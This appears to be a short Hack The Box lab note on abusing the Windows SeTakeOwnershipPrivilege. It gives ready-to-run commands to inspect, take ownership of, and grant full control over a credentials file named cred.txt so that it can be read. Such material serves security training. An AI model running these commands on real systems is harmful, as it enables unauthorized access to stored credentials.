SeTakeOwnershipPrivilege

First enable the permission using this script

• Get info:

  Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}

• Take ownership:

  takeown /f 'C:\Department Shares\Private\IT\cred.txt'

• Modify ACL

  icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

• Access the file.